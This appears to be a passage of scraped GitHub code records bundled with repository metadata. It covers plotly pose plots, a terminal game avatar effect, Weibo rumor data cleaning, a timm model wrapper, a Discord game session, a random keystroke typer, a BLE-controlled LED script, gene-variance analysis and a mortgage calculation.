line_color=\"LightSeaGreen\",\n )\n fig.add_annotation(\n x=0,\n y=0,\n text=footprint.split('_')[1],\n xref=\"x\",\n yref=\"y\",\n showarrow=False,\n font_size=20\n )\n else:\n print(f\"footprint '{footprint}' not supported\")\n return fig\n\n\ndef viz_positions_additional(fig, x_list, y_list, name='ground truth', footprint='processing_plant', subset=None):\n if subset is None or subset > len(x_list):\n subset = len(x_list)\n fig.add_trace(\n go.Scatter(\n x=x_list[:subset],\n y=y_list[:subset],\n mode='markers',\n marker_color='red',\n name=name\n )\n )\n return fig\n\n\ndef viz_orientations(fig, x_list, y_list, yaw_list, subset=None):\n if subset is None or subset > len(x_list):\n subset = len(x_list)\n # add arrows to show the yaw orientation (rover is pointing towards the processing plant)\n annotations = []\n xscale, yscale = 20, 20 # empirical scale factor for length of arrows\n for x, y, yaw in zip(x_list[:subset], y_list[:subset], yaw_list[:subset]):\n annotations.append(dict(\n x=x,\n y=y,\n ax=xscale * np.cos(yaw),\n ay=yscale * np.sin(yaw) * -1, # -1 is just because plotly arrows go towards the point instead of outwards (I think)\n showarrow=True,\n arrowcolor=\"blue\",\n arrowsize=1,\n arrowwidth=1,\n arrowhead=0,\n opacity=0.5\n ))\n fig.update_layout(\n annotations=annotations,\n width=800, height=800\n )\n return fig, annotations\n\n\ndef viz_orientations_additional(fig, annotations, x_list, y_list, yaw_list, subset=None):\n if subset is None or subset > len(x_list):\n subset = len(x_list)\n # add arrows to show the yaw orientation (rover is pointing towards the processing plant)\n additional_annotations = []\n xscale, yscale = 20, 20 # empirical scale factor for length of arrows\n for x, y, yaw in zip(x_list[:subset], y_list[:subset], yaw_list[:subset]):\n additional_annotations.append(dict(\n x=x,\n y=y,\n ax=xscale * np.cos(yaw),\n ay=yscale * np.sin(yaw) * -1, # -1 is just because plotly arrows go towards the point instead of outwards (I think)\n showarrow=True,\n arrowcolor=\"red\",\n arrowsize=1,\n arrowwidth=1,\n arrowhead=0,\n opacity=0.5\n ))\n fig.update_layout(\n annotations=annotations + additional_annotations,\n width=800, height=800\n )\n return fig, annotations + additional_annotations\n\n\ndef viz_link(fig, x0_list, y0_list, x1_list, y1_list, subset=None):\n if subset is None or subset > len(x0_list):\n subset = len(x0_list)\n # add arrows to show link between predict and ground truth\n for x0, y0, x1, y1 in zip(x0_list[:subset], y0_list[:subset], x1_list[:subset], y1_list[:subset]):\n fig.add_shape(\n type='line',\n xref='x', yref='y',\n x0=x0, y0=y0, x1=x1, y1=y1,\n line=dict(\n color=\"grey\",\n width=1,\n dash=\"dot\",\n )\n )\n return fig\n\n\ndef compare_optical_poses(\n d_true, theta_true, yaw_true,\n d_pred, theta_pred, yaw_pred,\n yaw_viz_offset,\n footprint,\n subset=None\n):\n # recommend: yaw_viz_offset=np.pi/2 to have the arrows point to the target_object\n # for visualizations: convert back to cartesian coordinates, in the reference frame of the lander\n x_true = [r * np.cos(theta) for r, theta in zip(d_true, theta_true)]\n y_true = [r * np.sin(theta) for r, theta in zip(d_true, theta_true)]\n yaw_true = [yaw + theta + np.pi / 2. for yaw, theta in zip(yaw_true, theta_true)]\n x_pred = [r * np.cos(theta) for r, theta in zip(d_pred, theta_pred)]\n y_pred = [r * np.sin(theta) for r, theta in zip(d_pred, theta_pred)]\n yaw_pred = [yaw + theta + np.pi / 2. for yaw, theta in zip(yaw_pred, theta_pred)]\n fig = viz_positions(x_pred, y_pred, yaw_pred, footprint=footprint, name='predict', subset=subset)\n fig, annotations = viz_orientations(fig, x_pred, y_pred, [y + yaw_viz_offset for y in yaw_pred], subset=subset)\n fig = viz_positions_additional(fig, x_true, y_true, name='ground truth', subset=subset)\n fig, annotations = viz_orientations_additional(fig, annotations, x_true, y_true, [y + yaw_viz_offset for y in yaw_true], subset=subset)\n fig = viz_link(fig, x_pred, y_pred, x_true, y_true, subset=subset)\n return fig\n\n\n\ndef compare_optical_and_rover_poses(\n d_optical, theta_optical, yaw_optical,\n d_rover, theta_rover, yaw_rover,\n subset=None\n):\n x_list = [r * np.cos(theta) for r, theta in zip(d_optical, theta_optical)]\n y_list = [r * np.sin(theta) for r, theta in zip(d_optical, theta_optical)]\n yaw_list = [yaw + theta + np.pi / 2. for yaw, theta in zip(yaw_optical, theta_optical)]\n x_rover = [r * np.cos(theta) for r, theta in zip(d_rover, theta_rover)]\n y_rover = [r * np.sin(theta) for r, theta in zip(d_rover, theta_rover)]\n yaw_rover = [yaw + theta + np.pi for yaw, theta in zip(yaw_rover, theta_rover)]\n\n fig = viz_positions(x_list, y_list, yaw_list, name='optical', subset=subset)\n fig, annotations = viz_orientations(fig, x_list, y_list, [y + np.pi / 2. for y in yaw_list], subset=subset) # add pi/2 for vizualization to make the arrow point to the front of the rover\n fig = viz_positions_additional(fig, x_rover, y_rover, name='rover', subset=subset)\n fig, annotations = viz_orientations_additional(fig, annotations, x_rover, y_rover, yaw_rover, subset=subset)\n fig = viz_link(fig, x_list, y_list, x_rover, y_rover, subset=subset)\n return fig\n\n\ndef plot_optical_poses(\n d_optical, theta_optical, yaw_optical,\n title='training',\n subset=None,\n footprint='processing_plant'\n):\n x_list = [r * np.cos(theta) for r, theta in zip(d_optical, theta_optical)]\n y_list = [r * np.sin(theta) for r, theta in zip(d_optical, theta_optical)]\n yaw_list = [yaw + theta + np.pi / 2. for yaw, theta in zip(yaw_optical, theta_optical)]\n\n fig = viz_positions(x_list, y_list, yaw_list, name=title, subset=subset, footprint=footprint)\n fig, annotations = viz_orientations(fig, x_list, y_list, [y + np.pi / 2. for y in yaw_list], subset=subset) # add pi/2 for vizualization to make the arrow point to the front of the rover\n fig.update_layout(title=title)\n return fig\n\n\ndef compare_each_output(\n d_true, theta_true, yaw_true,\n d_list, theta_list, yaw_list,\n subset=50):\n if subset > len(d_true):\n subset = len(d_true)\n\n # preliminary: scale the angles to degrees for humans\n theta_true = [_ / DEG_TO_RAD for _ in theta_true]\n yaw_true = [_ / DEG_TO_RAD for _ in yaw_true]\n theta_list = [_ / DEG_TO_RAD for _ in theta_list]\n yaw_list = [_ / DEG_TO_RAD for _ in yaw_list]\n\n # create stacked subplots with each output\n fig = make_subplots(\n rows=3, cols=1,\n shared_xaxes=True,\n subplot_titles=['distance (meters)', 'theta (degress)', 'orientation (degrees)']\n )\n fig.add_trace(go.Scatter(\n y=d_list[:subset],\n mode='markers',\n name='d_pred',\n marker_color='blue'\n ),\n row=1, col=1\n )\n fig.add_trace(go.Scatter(\n y=d_true[:subset],\n mode='markers',\n name='d_true',\n marker_color='red'\n ),\n row=1, col=1\n )\n for x0, y0, x1, y1 in zip(range(len(d_list[:subset])), d_list[:subset], range(len(d_true[:subset])), d_true[:subset]):\n fig.add_shape(\n type='line',\n xref='x', yref='y',\n x0=x0, y0=y0, x1=x1, y1=y1,\n line=dict(\n color=\"grey\",\n width=1,\n dash=\"dot\",\n ),\n row=1, col=1\n )\n fig.add_trace(go.Scatter(\n y=theta_list[:subset],\n mode='markers',\n name='theta_pred',\n marker_color='blue'\n ),\n row=2, col=1\n )\n fig.add_trace(go.Scatter(\n y=theta_true[:subset],\n mode='markers',\n name='theta_true',\n marker_color='red'\n ),\n row=2, col=1\n )\n for x0, y0, x1, y1 in zip(range(len(theta_list[:subset])), theta_list[:subset], range(len(theta_true[:subset])), theta_true[:subset]):\n fig.add_shape(\n type='line',\n xref='x', yref='y',\n x0=x0, y0=y0, x1=x1, y1=y1,\n line=dict(\n color=\"grey\",\n width=1,\n dash=\"dot\",\n ),\n row=2, col=1\n )\n fig.add_trace(go.Scatter(\n y=yaw_list[:subset],\n mode='markers',\n name='yaw_pred',\n marker_color='blue'\n ),\n row=3, col=1\n )\n fig.add_trace(go.Scatter(\n y=yaw_true[:subset],\n mode='markers',\n name='yaw_true',\n marker_color='red'\n ),\n row=3, col=1\n )\n for x0, y0, x1, y1 in zip(range(len(yaw_list[:subset])), yaw_list[:subset], range(len(yaw_true[:subset])), yaw_true[:subset]):\n fig.add_shape(\n type='line',\n xref='x', yref='y',\n x0=x0, y0=y0, x1=x1, y1=y1,\n line=dict(\n color=\"grey\",\n width=1,\n dash=\"dot\",\n ),\n row=3, col=1\n )\n\n fig.update_layout(\n height=800,\n width=1000,\n title_text=\"Comparison of prediction and ground truth for each output\"\n )\n return fig\n","repo_name":"TeamL3/learned-pose-estimation","sub_path":"src/architectures/pose_utils.py","file_name":"pose_utils.py","file_ext":"py","file_size_in_byte":21123,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"2039634909","text":"import sys\nimport display\nimport time\n\n\ndef load_avatar_from_file(hero_name):\n PATH = sys.argv[0].strip(\"comming_closer.py\")\n file_name = f\"{PATH}saves/{hero_name}_avatar.txt\"\n with open(file_name, \"r\") as f:\n loaded_avatar = f.read()\n hero_avatar_loaded = loaded_avatar.split(\"\\n\")\n return hero_avatar_loaded\n\n\ndef comming_closer():\n avatar = (load_avatar_from_file('snake'))\n avatar1 = downsize_avatar(avatar)\n avatar2 = downsize_avatar(avatar1)\n avatar3 = downsize_avatar(avatar2)\n display.main_display(avatar3, '')\n time.sleep(0.5)\n display.main_display(avatar2, '')\n time.sleep(0.5)\n display.main_display(avatar1, '')\n time.sleep(0.5)\n display.main_display(avatar, '')\n\n\ndef downsize_avatar(avatar):\n avatar1 = []\n value_dict = {'█': 1.0, '─': 0.0, '░': 0.5, '▀': 0.75, '▄': 0.75, ' ': 0.0, '@': 0.5, '|': 0.25,\n '=': 0.5, '<': 0.25, '>': 0.25, 'O': 0.5}\n field_list = [' ', '─', '░', '▀', '█']\n for x in range(int(len(avatar)//2)):\n line = ''\n for y in range(int(len(avatar[0])//2)):\n field_value = value_dict[avatar[int(2*x)][int(2*y)]] + value_dict[avatar[int(2*x)][int(2*y+1)]]\n + value_dict[avatar[int(2*x+1)][int(2*y)]] + value_dict[avatar[int(2*x+1)][int(2*y+1)]]\n\n line += field_list[int((field_value)//1)]\n avatar1.append(line)\n return avatar1\n\n\ndef main():\n comming_closer()\n\n\nmain()\n","repo_name":"pirat77/rogue_like","sub_path":"comming_closer.py","file_name":"comming_closer.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"10551472725","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Mar 20 11:00:38 2021\r\n\r\n@author: Rwear\r\n\"\"\"\r\n# import pandas as pd\r\n# import os\r\n# import os.path\r\n# import json\r\n# import collections\r\n# # f2 = pd.read_csv('data/rumor_comment.csv')\r\n# C = dict() \r\n# L = dict()\r\n# path = \"E://graduate//CED_Dataset//rumor-repost//2_yBmepBtUB_2279086572.json\"\r\n# # E:/graduate/CED_Dataset/rumor_repost/0_yBmepBtUB_2279086572.json\r\n# # print(os.listdir(path))\r\n# with open(path,'r',encoding = 'utf-8') as f:\r\n# s = json.load(f)\r\n # for i in range(len(s)):\r\n # C[i]=s[i]['text']\r\n # L[i]=len(C[i])\r\n # k = collections.Counter(L)\r\n # high = k.most_common(3)\r\n\r\n# file_object = open(r'E:\\graduate\\CED_Dataset\\rumor-repost\\0_yBmepBtUB_2279086572.json','w')\r\n\r\n\r\n'''\r\n清洗获得无重复的数据\r\n'''\r\nimport json\r\nimport collections\r\nimport pandas as pd\r\n\r\n# with open(\"E://graduate//one//original_weibo_content.txt\", \"r\") as f: \r\n# R_R=f.read().splitlines()\r\n \r\n# # print(type(f))\r\n# # if R_R == \"0_yBmepBtUB_2279086572.json\":\r\n# # print(\"e\")\r\n \r\n\r\n\r\n# with open(\"E://graduate//one//original_weibo_content.txt\", \"r\") as f: \r\n# O_W_C=f.read().splitlines()\r\n\r\n# news_content=pd.DataFrame(columns={\"id\":\"\",\"content\":\"\",\"labels\":\"\"},index=[0])\r\n# # C = dict() \r\n# # L = dict()\r\n# for line in O_W_C:\r\n# filename = line\r\n# # print(filename)\r\n\r\n# with open(\"E://graduate//CED_Dataset//original-microblog//\"+filename,'r',encoding = 'utf-8') as f:\r\n# s = json.load(f)\r\n# # print(f)\r\n# # break\r\n# # C = dict() \r\n# # L = dict()\r\n \r\n# if filename in O_W_C:\r\n# temp = {\"content\":s['text'],\"id\":filename,\"labels\":'True'}\r\n# news_content=news_content.append(temp,ignore_index=True)\r\n \r\n# else:\r\n# temp = {\"content\":s['text'],\"id\":filename,\"labels\":'False'}\r\n# news_content=news_content.append(temp,ignore_index=True) \r\n \r\n# # for i in range(len(s)):\r\n# # C[i]=s[i]['text']\r\n# # L[i]=len(C[i])\r\n# # k = collections.Counter(L)\r\n# # high = k.most_common(3)\r\n# # print(type(k))\r\n# # print(type(high))\r\n \r\n\r\n# # print(high)\r\n# # for i in range(3):\r\n# # temp = {\"content\": C[high[i][0]],\"id\" : filename}\r\n# # rumor_comment=rumor_comment.append(temp,ignore_index=True)\r\n# # k.clear()\r\n# # high.clear()\r\n \r\n# news_content.to_csv('E://graduate//one//original_weibo_content.csv')\r\n\r\n\r\n\r\n# with open(\"E://graduate//one//rumomr_repost.txt\", \"r\") as f: \r\n# R_R=f.read().splitlines()\r\n# print(R_R)\r\n\r\n# with open(\"E://graduate//CED_Dataset//rumor-repost//\"+filename,'r',encoding = 'utf-8') as f:\r\n# s = json.load(f)\r\n\r\nf1 = pd.read_csv('non_rumomr_comment.csv')\r\nf2 = pd.read_csv('rumomr_comment.csv')\r\nf3 = pd.read_csv('original_weibo_content.csv')\r\n# f4 = pd.read_csv('non_rumomr_comment.tsv')\r\n# f5 = pd.read_csv('rumor_comment.tsv')\r\n# f6 = pd.read_csv('news_content.tsv')\r\n# f7 = pd.read_csv('comment.tsv')\r\nf8 = pd.read_csv('comment.csv')\r\nf9 = pd.read_csv('comment_backup.csv')\r\nf10 = pd.read_csv('test.csv')\r\n# print(type(f10))\r\n'''\r\n以dataframe形式连接csv\r\n'''\r\n# In [4]: frames = [df1, df2, df3]\r\n \r\n# In [5]: result = pd.concat(frames)\r\n\r\n# frames = [f2, f1]\r\n# result = pd.concat(frames)\r\n\r\n# print(type(result))\r\n\r\n# result.to_csv(\"comment.csv\")\r\n\r\nimport re\r\n\r\ndef clearContentWithSpecialCharacter(content):\r\n \r\n# 先将替换成,普通字符l\r\n content = content.replace(\" \",\"frt_4\")\r\n# 分组标定,替换,\r\n pattern = re.compile(r'(l)(.*)(frt_4)')\r\n content = content.replace(\"frt_4\",\" \")\r\n# 如果想包括两个1,则用pattern.sub(r\\1''\\3,content)\r\n return pattern.sub(r'',content)\r\n\r\nfor index, row in f8.iterrows():\r\n # print(type(row[\"comment\"]))\r\n temp = clearContentWithSpecialCharacter(row['comment'])\r\n # print(type(temp),type(row['comment']))\r\n # print(temp)\r\n f10.append(temp)\r\n # if type(row['comment'])==float:\r\n # print(index)\r\n break\r\n\r\n'''\r\n创建csv文件\r\n'''\r\n\r\n\r\n# import csv\r\n# csvFile=open(\"E://graduate//one//test.csv\",'w',newline='')\r\n# try:\r\n# \twriter=csv.writer(csvFile)\r\n# \twriter.writerow(('id','comment'))\r\n\r\n# finally:\r\n# \tcsvFile.close()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Rwear/clean_data","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":4460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43396472386","text":"import timm\nimport torch.nn as nn\nimport torch.nn.init as init\n\n\nclass MyModel(nn.Module):\n def __init__(self, n_classes, model_name):\n super(MyModel, self).__init__()\n self.feature = timm.create_model(model_name, pretrained=False)\n \n if model_name == 'inception_v4':\n self.out_features = self.feature.last_linear.in_features\n self.feature.last_linear = nn.Linear(in_features=self.out_features, out_features=n_classes, bias=True) \n \n elif 'darknet53' in model_name:\n self.out_features = self.feature.head.fc.in_features\n self.feature.head.fc = nn.Linear(in_features=self.out_features, out_features=n_classes, bias=True) \n \n elif 'dense' in model_name:\n self.out_features = self.feature.classifier.in_features\n self.feature.classifier = nn.Linear(in_features=self.out_features, out_features=n_classes, bias=True) \n \n else:\n self.out_features = self.feature.fc.in_features\n self.feature.fc = nn.Linear(in_features=self.out_features, out_features=n_classes, bias=True) \n \n def forward(self, x):\n x = self.feature(x)\n return x\n\ndef init_weight(model, kind='xavier'):\n for name, i in model.named_parameters():\n if kind == 'xavier':\n if i.dim() < 2:\n continue\n if 'weight' in name:\n init.xavier_normal_(i, gain=1.0)\n elif 'bias' in name:\n init.xavier_uniform_(i, gain=1.0)\n else:\n pass\n elif kind == 'kaiming':\n if i.dim() < 2:\n continue\n if 'weight' in name:\n init.kaiming_normal_(i)\n elif 'bias' in name:\n init.kaiming_uniform_(i)\n else:\n pass","repo_name":"aperyear/ydschool-competitions","sub_path":"medical/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23961771143","text":"import asyncio\nimport time\n\nimport discord\n\nfrom components.Game import Game\n\nsessions = {\n\n}\n\n\ndef sessiontime_decrease(bot):\n while True:\n time.sleep(1)\n for k, v in list(sessions.items()):\n v.until -= 1\n if v.until == 0 and not v.more_than_one:\n id = v.players[0].id\n bot.dispatch(\"session_terminated\", id, k, v.channel)\n print(f\"deleted ses with id = {k}\")\n\n\nclass GameSession:\n def __init__(self, bot, creator: discord.Member, guild: discord.Guild, channel: discord.TextChannel):\n self.bot = bot\n self.players = [creator]\n self.guild = guild\n self.until = 100\n self.channel = channel\n self.more_than_one = False\n\n async def join(self, user: discord.Member):\n if not len(self.players) == 3:\n self.players.append(user)\n self.more_than_one = True\n await self.channel.set_permissions(user, overwrite=discord.PermissionOverwrite(\n view_channel=True\n ))\n await self.players[0].send(f\"{user.mention} joined to the session\")\n\n if len(self.players) == 3:\n await self.channel.send(\n f\"Starting the game! {self.players[0].mention} {self.players[1].mention} {self.players[2].mention}\")\n game = Game(self, self.bot)\n await game.start_game()\n\n async def leave(self, member):\n if self.players[0] == member:\n for i in self.players:\n await self.channel.set_permissions(i, overwrite=discord.PermissionOverwrite(\n view_channel=False\n ))\n await self.channel.delete()\n else:\n self.players.remove(member)\n await self.channel.set_permissions(member, overwrite=discord.PermissionOverwrite(\n view_channel=False\n ))\n await self.players[0].send(f\"{member.mention} left your game\")\n","repo_name":"OvieDev/lucky-rush","sub_path":"components/GameSession.py","file_name":"GameSession.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30996750480","text":"import random,time\r\nfrom pynput.keyboard import Controller\r\n\r\nkeyboard = Controller()\r\n\r\nalphabet_list = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\r\n\r\n\r\ndef type_string_with_delay():\r\n while True: \r\n for character in alphabet_list:\r\n keyboard.type(random.choice(alphabet_list))\r\n delay = random.uniform(0, 2)\r\n time.sleep(.3)\r\n \r\n \r\ntype_string_with_delay()\r\n","repo_name":"dh00mk3tu/keyboard-inpt","sub_path":"bruhh.py","file_name":"bruhh.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"70322128195","text":"import time\nimport board\nimport digitalio\nimport pwmio\nimport random\nfrom rainbowio import colorwheel\nfrom adafruit_ble import BLERadio\nfrom adafruit_ble.advertising.standard import ProvideServicesAdvertisement\nfrom adafruit_ble.services.nordic import UARTService\nfrom adafruit_bluefruit_connect.packet import Packet\nfrom adafruit_bluefruit_connect.color_packet import ColorPacket\nfrom adafruit_bluefruit_connect.button_packet import ButtonPacket\n\n# Prep the status LEDs on the ItsyBitsy (on-board LED)\nble_led = digitalio.DigitalInOut(board.L)\nble_led.direction = digitalio.Direction.OUTPUT\n\nRED_LED = pwmio.PWMOut(board.A0)\nGREEN_LED = pwmio.PWMOut(board.A1)\nBLUE_LED = pwmio.PWMOut(board.A2)\n\nPINS = (RED_LED, GREEN_LED, BLUE_LED) # List of RGB pins\nGAMMA = 1.0 # For perceptually-linear brightness\n\nble = BLERadio()\nuart_service = UARTService()\nadvertisement = ProvideServicesAdvertisement(uart_service)\n\n# 4-pin RGB LED PWM Control with 0-255 scale\ndef PWM_Solid(rcycle, gcycle, bcycle): # (0-255) scale\n PINS[0].duty_cycle = 65535-int(rcycle/255*65535)\n PINS[1].duty_cycle = 65535-int(gcycle/255*65535)\n PINS[2].duty_cycle = 65535-int(bcycle/255*65535)\n\ndef pulse(delay): # delay between steps\n for i in range(0, 255, 1): # start, stop, steps\n PINS[0].duty_cycle = 65535-int(i/255*65535)\n PINS[1].duty_cycle = 65535-int(i/255*65535)\n PINS[2].duty_cycle = 65535-int(i/255*65535)\n time.sleep(delay)\n for i in range(255, 0, -1):\n PINS[0].duty_cycle = 65535-int(i/255*65535)\n PINS[1].duty_cycle = 65535-int(i/255*65535)\n PINS[2].duty_cycle = 65535-int(i/255*65535)\n time.sleep(delay)\n\ndef map_value(value, in_min, in_max, out_min, out_max):\n out_range = out_max - out_min\n in_range = in_max - in_min\n return out_min + out_range * ((value - in_min) / in_range)\n\ndef constrain(value, floor, ceiling):\n return max(floor, min(value, ceiling))\n\nrandom_low = 0\nrandom_high = 255\n# Flicker values must be between 0-255 for translation\ndef yellow_flicker():\n random_low = random.randint(0, 179)\n random_high = random.randint(180, 255)\n rand_sleep = random.uniform(.03, .07)\n random_range = random.randrange(random_low, random_high)\n random_offset = random_range/3\n PINS[0].duty_cycle = 65535-int(random_range/255*65535)\n PINS[1].duty_cycle = 65535-int(random_offset/255*65535)\n PINS[2].duty_cycle = 65535-int(0/255*65535)\n time.sleep(rand_sleep)\n\ndef Rainbow_Fade(delay):\n for i in range(0, 255, 1): # start, stop, steps\n full_range=colorwheel(i)\n blue_fade=full_range&255\n green_fade=(full_range>>8)&255\n red_fade=(full_range>>16)&255\n # print(f\"RainbowIO: {full_range} {red_fade} {green_fade} {blue_fade}\")\n PINS[0].duty_cycle = 65535-int(red_fade/255*65535)\n time.sleep(delay)\n PINS[1].duty_cycle = 65535-int(green_fade/255*65535)\n time.sleep(delay)\n PINS[2].duty_cycle = 65535-int(blue_fade/255*65535)\n time.sleep(delay)\n\ndef change_speed(mod, old_speed):\n new_speed = constrain(old_speed + mod, 1.0, 10.0)\n return (new_speed, map_value(new_speed, 10.0, 0.0, 0.01, 0.3))\n\ndef animate():\n if mode == 1:\n yellow_flicker()\n if mode == 2:\n pulse(0.01)\n elif mode == 3:\n Rainbow_Fade(0.005)\n elif mode == 4:\n PWM_Solid(user_color[0],user_color[1],user_color[2])\n return\n\n# User input vars\nmode = 1 # 1=flicker, 2=pulse, 3=Rainbow_Fade, 4=solid\n# user_color is selected using Adafruit Bluefruit Connect App\nuser_color = (127, 0, 0)\nspeed = 6.0\nwait = 0.097\n\nwhile True:\n PWM_Solid(255, 50, 0) # Set to orange by default\n ble.start_advertising(advertisement)\n while not ble.connected:\n # Animate while disconnected\n ble_led.value = False\n time.sleep(1)\n\n # While BLE is connected\n while ble.connected:\n if uart_service.in_waiting:\n try:\n packet = Packet.from_stream(uart_service)\n # Ignore malformed packets.\n except ValueError:\n continue\n\n if isinstance(packet, ColorPacket):\n user_color = packet.color\n PWM_Solid(user_color[0], user_color[1], user_color[2])\n\n # Received ButtonPacket\n elif isinstance(packet, ButtonPacket):\n if packet.pressed:\n if packet.button == ButtonPacket.UP:\n speed, wait = change_speed(1, speed)\n print(packet.button)\n elif packet.button == ButtonPacket.DOWN:\n speed, wait = change_speed(-1, speed)\n print(packet.button)\n # Yellow Flicker\n elif packet.button == ButtonPacket.BUTTON_1:\n mode = 1\n print(\"Mode: \", mode)\n yellow_flicker()\n # Pulse\n elif packet.button == ButtonPacket.BUTTON_2:\n mode = 2\n print(\"Mode: \", mode)\n # Rainbow_Fade\n elif packet.button == ButtonPacket.BUTTON_3:\n mode = 3\n print(\"Mode: \", mode)\n # PWM_Solid\n elif packet.button == ButtonPacket.BUTTON_4:\n mode = 4\n print(\"Mode: \", mode)\n\n # Animate while connected\n animate()\n ble_led.value = True\n","repo_name":"DJDevon3/My_Circuit_Python_Projects","sub_path":"Boards/nrf/ItsyBitsy NRF52840 Express/BLE Candle/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":5529,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"} +{"seq_id":"10298545474","text":"class Solution:\n def sumBase(self, n: int, k: int) -> int:\n \n def reVal(num):\n\n if (num >= 0 and num <= 9):\n return chr(num + ord('0'))\n else:\n return chr(num - 10 + ord('A'))\n def strev(str):\n\n len = len(str);\n for i in range(int(len / 2)):\n temp = str[i]\n str[i] = str[len - i - 1]\n str[len - i - 1] = temp\n\n def fromDeci(res, base, inputNum):\n\n index = 0; \n while (inputNum > 0):\n res+= reVal(inputNum % base)\n inputNum = int(inputNum / base)\n\n res = res[::-1]\n return res\n\n # Driver Coe\n inputNum = n\n base = k\n res = \"\"\n r = fromDeci(res, base, inputNum)\n print(r)\n s = 0\n j = list(str(r))\n for v in j:\n s = s + int(v)\n print(s)\n \n return s","repo_name":"iamnitya/LeetCode","sub_path":"1837-sum-of-digits-in-base-k/1837-sum-of-digits-in-base-k.py","file_name":"1837-sum-of-digits-in-base-k.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7602791697","text":"#!/usr/bin/env python\n\"\"\"\nDetermine highly variable genes.\n\nBased on:\nhttp://pklab.med.harvard.edu/scw2014/subpop_tutorial.html\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport statsmodels.formula.api as smf\n\n\ndef highly_variable_genes(gene_counts, quantile=0.95, show=True, figure_directory=None):\n means = gene_counts.mean(axis=0)\n variances = gene_counts.var(axis=0)\n normalized_variances = variances / means**2\n\n output = pd.DataFrame(\n\n {\n 'LM': np.log(means),\n 'LV' : np.log(normalized_variances),\n },\n index=gene_counts.columns.values\n )\n\n model = smf.quantreg('LV ~ LM', output)\n\n if isinstance(quantile, float):\n quantiles = [quantile]\n else:\n quantiles = quantile\n\n for quantile in quantiles:\n fit = model.fit(q=quantile)\n a = fit.params['LM']\n b = fit.params['Intercept']\n mask = is_above_line(output[['LM', 'LV']], a, b)\n output = pd.concat([output, pd.Series(mask, index=gene_counts.columns.values, name=f'q>{quantile}')], axis=1)\n\n if show:\n fig, ax = plt.subplots(1, 1)\n ax.scatter(output['LM'], output['LV'], c='k', s=0.1, alpha=0.5)\n ax.set_xlim(1.2*np.percentile(output['LM'], [0.1, 99.9]))\n ax.set_ylim(1.2*np.percentile(output['LV'], [0.1, 99.9]))\n ax.set_xlabel('log(mean)')\n ax.set_ylabel('log(normalized variance)')\n x = np.linspace(output['LM'].min(), output['LM'].max(), 100)\n y = a*x + b\n\n ax.plot(x, y, '--', lw=3, label=f'{model.formula}, q = {quantile:.2f}: n = {np.sum(mask)}')\n ax.scatter(output['LM'][mask], output['LV'][mask], s=0.2, rasterized=True)\n ax.legend(loc='lower left')\n fig.tight_layout()\n\n if figure_directory:\n fig.savefig(figure_directory + f'quantile_regression_{quantile:.2f}.pdf')\n\n return output\n\n\ndef is_above_line(points, gradient, intercept):\n # https://stackoverflow.com/a/45769740/2912349\n a = np.array([0, intercept])\n b = np.array([1, intercept + gradient])\n return np.cross(points-a, b-a) < 0\n\n\ndef get_smooth_estimate_of_quantile(x, y, q, fraction=0.1):\n # order points by independent measure\n order = np.argsort(x)\n x = x[order]\n y = y[order]\n\n # determine number of points to smooth over\n total_points = len(x)\n delta = int(total_points * fraction / 2)\n\n xq = [np.mean(x[ii-delta:ii+delta]) for ii in range(delta, total_points-delta)]\n yq = [np.quantile(y[ii-delta:ii+delta], q) for ii in range(delta, total_points-delta)]\n\n return xq, yq\n\n\nif __name__ == '__main__':\n\n ddir = '/home/paul/wdir/transcriptomics/data/gene_counts/'\n file_base_name = 'mydata'\n file_path = ddir + file_base_name + '--normalized.tsv'\n gene_counts = pd.read_csv(file_path, sep='\\t', index_col=['plate', 'well'])\n df = highly_variable_genes(gene_counts, show=True)\n df.to_csv(ddir + file_base_name + '--highly_variable_genes.tsv', sep='\\t')\n plt.show()\n","repo_name":"paulbrodersen/patchseq","sub_path":"04_highly_variable_genes.py","file_name":"04_highly_variable_genes.py","file_ext":"py","file_size_in_byte":3075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30063428076","text":"\"\"\"\nAuthor: Hans de Moor\nCreated: December 3, 2018\nPython 3.6\n\nDescription: This is an illustraton of making a table based on a difference\nequation, exporting the table and creating a graph. This is based on Example 2\nin Section 1.1, A First Course in Mathematical Modeling by Giordano et al\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport csv\n\nn_months = 240\nint_rate = 0.01\nbeg_balance = 80000\nmo_payment = 880.89\ntbl_first_mo = 0\ntbl_last_mo = 12\n\n# Calculations for Example 2 in Section 1.1\nbalance = np.zeros(n_months + 1)\nbalance[0] = beg_balance\nfor n in range(0, n_months):\n balance[n+1] = balance[n] + int_rate * balance[n] - mo_payment\n\n# Making and displaying a .cav file with balances for months 61 to 72\nb = \"{:.2f}\"\n\nwith open('homemortgage.csv', mode='w', newline=\"\") as hm:\n homemortgage_writer = csv.writer(hm, delimiter=',', quotechar='\"',\n 